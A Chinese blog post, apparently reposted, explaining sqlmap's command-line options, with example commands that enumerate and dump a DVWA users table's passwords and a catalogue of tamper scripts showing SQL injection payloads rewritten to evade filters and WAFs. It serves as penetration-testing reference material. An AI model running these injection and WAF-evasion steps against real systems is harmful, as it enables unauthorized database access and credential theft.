SQLMAP命令详解

  • Post author:
  • Post category:其他


Options


--version

:显示当前sqlmap的版本号


-h

:显示帮助信息


-hh

:显示详细的帮助信息


-v VERBOSE

:详细级别,VERBOSE为数字,默认为1

Target


-d DIRECT

:直接连接到数据库


-u URL



--url=URL

:目标地址(URL)


-l LOGFILE

:从Burp或WebScarab代理的日志中解析目标


-x SITEMAPURL

:从一个XML文件中解析目标


-m BULKFILE

:扫描文本文件中的多个目标


-r REQUESTFILE

:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)


-g GOOGLEDORK

:处理Google Dork的结果作为目标URL


-c CONFIGFILE

:从ini文件中加载选项

Request


--method=MEHOTD

:强制指定HTTP方法(如PUT)


--data=DATA

:指定POST请求的参数


--param-del=PARAMDEL

:指定参数的分隔符(如:

&

)


--cookie=COOKIE

:指定HTTP请求的Cookie


--cookie-del=COOKIEDEL

:指定Cookie的分隔符(如:分号

;

)


--load-cookies=LOADCOOKIES

:指定以Netscape或wget且包含cookie的文件


--drop-set-cookie

:忽略返回包中的

Set-Cookie

字段


--user-agent

:指定HTTP头部的user-agent值


--random-agent

:设置随机的HTTP User-Agent


--host=HOST

:指定HTTP头部的host值


--referer=REFERER

:指定HTTP头部中的referer值


-H=HEADER

:指定HTTP其他头部信息


--headers=HEADERS

:指定HTTP其他头部信息


--auth-type=AUTHTYPE

:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)


--auth-cred=AUTHCRED

:指定HTTP认证凭证(name:password)


--auth-file=AUTHFILE

:指定HTTP认证PEM认证/私钥文件


--ignore-code=IGNORECODE

:忽略指定的HTTP错误码(如:401)


--ignore-proxy

:忽略系统默认代理


--ignore-redirects

:忽略重定向尝试


--ignore-timeouts

:忽略连接超时


--proxy=PROXY

:指定代理地址


--proxy-cred=PROXYCRED

:指定代理认证凭据(name:password)


--proxy-file=PROXYFILE

:从指定文件中加载代理数据


--tor

:使用tor匿名网络(通常需要提高默认的响应时长,且需要指定Tor的代理地址)


--tor-port=TORPORT

:设置TOR代理的端口(修改默认端口)


--tor-type=TORTYPE

:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)


--check-tor

:检查tor能否正常使用


--delay=DELAY

:设置每个HTTP请求的间隔时间(单位:秒)


--timeout=TIMEOUT

:设置超时连接前等待的时间(单位:秒)


--retries=RETRIES

:设置连接超时重新尝试的次数(默认为3)


--randomize=RPARAM

:随机更改给定参数的值


--safe-url=SAFEURL

:指定在测试期间频繁访问的URL


--safe-post=SAFEPOST

:POST数据发送到安全URL


--safe-req=SAFEREQ

:从文件中加载HTTP请求


--safe-freq=SAFEFREQ

:在两次访问安全网址之间的测试请求


--skip-urlencode

:跳过经过URL编码的payload数据


--csrf-token=CSRFTOKEN

:指定CSRF-TOKEN值


--csrf-url=CSRFURL

:指定提取CSRF-TOKEN的URL值


--force-ssl

:强制使用SSL协议


--hpp

:使用HTTP参数pollution的方法


--eval

:评估请求之前提供Python代码

Optimization


-o

:开启所有优化开关


--predict-output

:预测常见的查询输出


--keep-alive

:使用持久的HTTP(S)连接


--null-connection

:从没有实际的HTTP响应体中检索页面长度


--threads=THREADS

:设置请求的并发数

Injection


-p TESTPARAMETER

:指定需要测试的参数


--skip=SKIP

:跳过指定参数的测试


--skip-static

:跳过非动态参数的测试


--param-exclude=PARAMEXCLUDE

:使用正则排除要测试的参数


--dbms=DBMS

:强制指定数据库管理系统的类型


--dbms-cred=DBMSCRED

:指定DBMS认证凭证(name:password)


--os=OS

:指定后端DBMS的操作系统


--invalid-logical

:使用大数字使值无效


--invalid-string

:使用随机字符串使值无效


no-cast

:关闭有效载荷


--no-escape

:关闭字符串转义机制


--prefix=PREFIX

:注入payload字符串前缀


--suffix=SUFFIX

:注入payload字符串后缀


--tamper=TAMPER

:使用给定脚本篡改注入数据

Detection


--level=LEVEL

:指定执行检测的等级(1-5,默认为1)


--risk=RISK

:指定执行检测的风险(1-5,默认为1)


--string=STRING

:查询有效时在页面匹配字符串


--not-string=NOTSTRING

:查询无效时在页面匹配字符串


--regexp=REGEXP

:查询有效时在页面匹配正则表达式


--code=CODE

:查询有效时匹配的HTTP返回码


--text-only

:基于文本内容比较网页


--titles

:基于标题比较网页

Techniques


--technique=TECH

:指定SQL注入的技术(默认为BEUST)


--time-sec=TIMESEC

:DBMS响应的延迟时间


--union-cols=UCOLS

:指定UNION查询注入使用的列


--union-char=UCHAR

:指定暴力猜解列数的字符


--union-from=UFROM

:指定UNION查询注入的FROM部分使用的表


--dns-domain=DNSDOMAIN

:域名用于DNS漏出攻击

Enumeration


-a



--all

:检索一切


-b,--banner

:检索数据库管理系统的标识


--current-user

:检索数据库管理系统的当前用户名


--current-db

:检索DBMS的当前数据库名称


--hostname

:检索数据库服务器的主机名


--is-dba

:检测DBMS当前用户是否为DBA


--users

:枚举DBMS的用户名


--passwords

:枚举DBMS用户密码哈希


--privileges

:枚举DBMS用户的权限


--roles

:枚举DBMS用户的角色


--dbs

:枚举DBMS所有的数据库名称


--tables

:枚举DBMS数据库中所有的表


--columns

:枚举DBMS数据库表中所有的列名


--schema

:枚举数据库架构


--count

:检索表的记录数


--dump

:转储DBMS的数据库中的表项


--dump-all

:转储DBMS的数据库中的所有表项


--search

:搜索列、表、数据库名称


--commnets

:检索数据库的comments


-D DB

:指定要枚举的数据库名称


-T TBL

:指定要枚举的数据表名称


-C COL

:指定要枚举的数据库列名


-X EXCLUDECOL

:指定不要枚举的数据库列名


-U USER

:指定要进行枚举的数据库用户名


--exclude-sysdbs

:枚举表时排除系统数据库


--where=DUMPWHERE

:使用WHERE条件表转储


--start=LIMITSTART

:第一个查询输出进入检索


--stop=LIMITSTOP

:最后查询的输出进入检索


--first=FIRSTCHAR

:第一个查询输出字的字符检索


--last=LASTCHAR

:最后查询的输出字字符检索


--sql-query=QUERY

:要执行的SQL语句


--sql-file=SQLFILE

:从给定文件中执行SQL语句

  1. HTTP Get请求

    ## 指定参数和Cookie
    sqlmap -u "http://xxx.com/1.php?id=1" --cookies="COOKIE" -p id
    ## 忽略参数,指定分隔符
    sqlmap -u "http://xxx.com/1.php?id=1&username=jack" --param-del=& --skip=username
  2. HTTP Post请求

    ## 直接从文件导入
    sqlmap -r 1.txt -p id
    ## 自定义
    sqlmap -u "http://xxx.com/1.php" --data="id=1&username=jack" --cookie="COOKIE" -p id

一般的注入步骤

  1. 检查是否存在注入


    sqlmap -r 1.txt -p id

  2. 简单的信息获取

    ## 获取数据库版本信息
    sqlmap -r 1.txt -p id --banner
    ## 获取当前数据库名称
    sqlmap -r 1.txt -p id --current-db
    ## 获取数据库中所有数据库名称
    sqlmap -r 1.txt -p id --dbs
    ## 获取数据库当前用户名
    sqlmap -r 1.txt -p id --current-user
    ## 获取数据库所有用户名
    sqlmap -r 1.txt -p id --users
    ## 检查数据库当前用户是否为DBA
    sqlmap -r 1.txt -p id --is-dba
  3. 获取数据库中的数据

    ## 获取数据表名称
    sqlmap -r 1.txt -p id -D dvwa --tables
    ## 获取数据表中的列名称
    sqlmap -r 1.txt -p id -D dvwa -T users --columns
    ## 获取单个表中自定义列中的数据
    sqlmap -r 1.txt -p id -D dvwa -T users -C user,password --dump
    ## 获取单个表数据
    sqlmap -r 1.txt -p id -D dvwa -T users --dump
    ## 获取单个数据库中所有表中的数据
    sqlmap -r 1.txt -p id -D dvwa --dump

tamper介绍

数据库 脚本名 描述 举例
通用 apostrophemask.py utf8替代引号
base64encode.py 用base64编码转换
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
nonrecursivereplacement.py 双重查询语句
space2randomblank.py 用一个随机的空白字符替换空格字符
unionalltounion.py 用UNION SELECT替换UNION ALL SELECT
securesphere.py 追加自定义字符串
mssql space2hash.py 空格替换为#号、随机字符串、换行符
equaltolike.py LIKE替换等于号(=)
space2mssqlblank.py 用其他空符号替换空格字符
space2mssqlhash.py 用%23%0A替换空格字符
between.py 用between替换大于号
percentage.py 在每个字符前添加%
sp_password.py 在有效载荷后添加sp_password
charencode.py url编码
randomcase.py 随机大小写
charunicodeencode.py unicode编码字符串
space2comment.py 用注释替换空格
mysql equaltolike.py like代替等号(=)
greatest.py 绕过对大于号的过滤,用GREATEST替换大于号
apostrophenullencode.py 绕过对双引号的过滤,替换字符和双引号
ifnull2ifisnull.py 绕过对IFNULL的过滤,用IF(ISNULL(A),B,A)代替IFNULL
space2mssqlhash.py 用%23%0A替换空格
modsecurityversioned.py 过滤空格,包含完整的查询版本注释
space2mysqlblank.py 用其他空白字符替换空格
between.py 用between替换大于号
modsecurityzeroversioned.py 包含了完整的查询与零版本注释
space2mysqldash.py 用–%0A替换空格字符
bluecoat.py 用随机空白字符替换空格,用LIKE替换等于号(=)
percentage.py 在每个字符前加百分号
charencode.py url编码
randomcase.py 随机大小写
versionedkeywords.py 用版本化的MySQL注释包含每个非函数关键字
space2comment.py 用注释替换空格
charunicodeencode.py 用unicode编码字符串
versionedmorekeywords.py 用更多的版本化的MySQL注释包含每个非函数关键字
halfversionedmorekeywords.py 关键字前加注释
space2morehash.py 空格替换为#号和其他随机字符串
oracle greatest.py 用GREATEST替换大于号
apostrophenullencode.py 绕过过滤双引号,替换字符和双引号
between.py 用between替换大于号
charencode.py url编码
randomcase.py 随机大小写
charunicodeencode.py unicode编码
space2comment.py 用注释替换空格
Access appendnullbyte.py 在有效载荷结束位置加零字节字符编码

脚本及功能介绍

space2plus

用+替换空格

// old
select id from users
// new
select+id+from+users

space2hash

空格替换为#号(%23) 随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2morehash

空格替换为#号(%23) 更多随机字符串 换行符(%0A)

// old
1 and 2=2
// new
1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A2=2

space2mysqldash

替换空格为–%0A

// old
1 and 2=2
// new
1--%0Aand--%0A2=2

space2randomblank

将空格替换为随机空白字符的字符集

// old
select id from users
// new
select%0Did%0Dfrom%0Ausers

space2mssqlblank

空格替换为其他空白字符

// old
select id from users
// new
select%08id%02from%0Fusers

space2mssqlhash

空格替换为%23%0A

// old
1 and 2=2
// new
1%23%0Aand%23%0A2=2

space2comment

空格替换为注释

// old
select id from users
//new
select//id//from/**/users

between

将大于号(>)替换为between

// old
1 and A>B
// new
1 and A not between 0 and B

greatest

将大于号(>)替换为greatest

// old
1 and A>B
// new
1 and greatest(A,B+1)=A

equaltolike

将等于号(=)替换为like

// old
select * from users where id=1
// new
select * from users where id like 1

bluecoat

将空格替换为一个随机的空白字符,同时将等于号(=)替换为like

// old
select id from users where id=1
// new
select%09id from users where id like 1

modsecurityversioned

将空格替换为包含完整版本注释的字符串(当MySQL的版本大于等于指定的版本号时才会执行注释中的语法)

// old
1 and 2>1-- 
// new
1/*!30874AND 2>1*/--

modsecurityzeroversioned

将空格替换为包含完整版本注释与零版本注释的字符串

// old
1 and 2>1
// new
1/*!00000and 2>1*/--

versionedkeywords

为每个非函数关键字添加版本注释

// old
1 union all select null,null,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
// new
1/*!union**!all**!select**!null*/,/*!null*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

versionedmorekeywords

为每个关键字添加版本注释

// old
1 union select null,null,CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
// new
1/*!uninon**!select**!null*/,/*!null*/,/*!concat*/(/*!char*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

halfversionedmorekeywords

为每个关键字前添加注释 /*!0

// old
value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDW'='QDWa
// new
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),NULL,NULL#/*!0AND 'QDW'='QDWa

multiplespaces

围绕SQL关键字添加空格

// old
1 union select foobar
// new
1 union  select  foobar

nonrecursivereplacement

双重查询语句

// old
1 union select 2--
// new
1 ununionion selselectect 2--

unionalltounion

将union all select替换为union select

// old
1 union all select
// new
1 union select

securesphere

追加特制字符串

// old
1 and 1=1
// new
1 and 1=1 and 'ok'='ok'

percentage

每个字符前添加百分号(%)

// old
select id from users
// new
%s%e%l%e%c%t %i%d %f%r%o%m %u%s%e%r%s

appendnullbyte

在有效载荷末尾位置加载字节字符编码

// old
1 and 1=1
// new
1 and 1=1%00

randomcase

随机大小写

// old
insert
// new
InsErT

charencode

对所有字符串进行url编码

// old
SELECT FIELD FROM TABLE
// new
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

chardoubleencode

对所有字符串进行双重url编码

// old
SELECT FIELD FROM TABLE
// new
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charunicodeencode

对所有字符串进行unicode编码

// old
SELECT FIELD FROM TABLE
// new
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045

base64encode

对所有字符串进行base64编码

// old
1 and 1=1#
// new
MSBhbmQgMT0xIw==

总结

空格处理


  • space2plus.py

  • space2hash.py

  • space2morehash.py

  • space2mysqldash.py

  • space2randomblank.py

  • space2mssqlblank.py

  • space2mssqlhash.py

  • space2comment.py

  • modsecurityversioned.py

  • modsecurityzeroversioned.py

大于号处理


  • between.py

  • greatest.py

等于号处理


  • equaltolike.py

  • bluecoat.py

引号处理


  • apostrophemask.py

    :utf8替换引号

  • apostrophenullencode.py

    :替换字符和双引号

关键字处理


  • versionedkeywords.py

  • versionedmorekeywords.py

  • halfversionedmorekeywords.py


  • multiplespaces.py

    :多个关键字前加空格

  • nonrecursivereplacement.py

    :双重关键字

  • unionalltounion.py

    :union select替换union all select

  • securesphere.py

    :追加特制字符串

  • percentage.py

    :每个字符前加%

  • appendnullbyte.py

    :末尾添加零字节编码

语句处理


  • randomcase.py

    :大小写混淆

  • charencode.py

    :url编码

  • chardoublecode.py

    :双重url编码

  • charunicodeencode.py

    :unicode编码

  • base64encode.py

    :base64编码

转载于:https://www.cnblogs.com/jerrylocker/p/10767304.html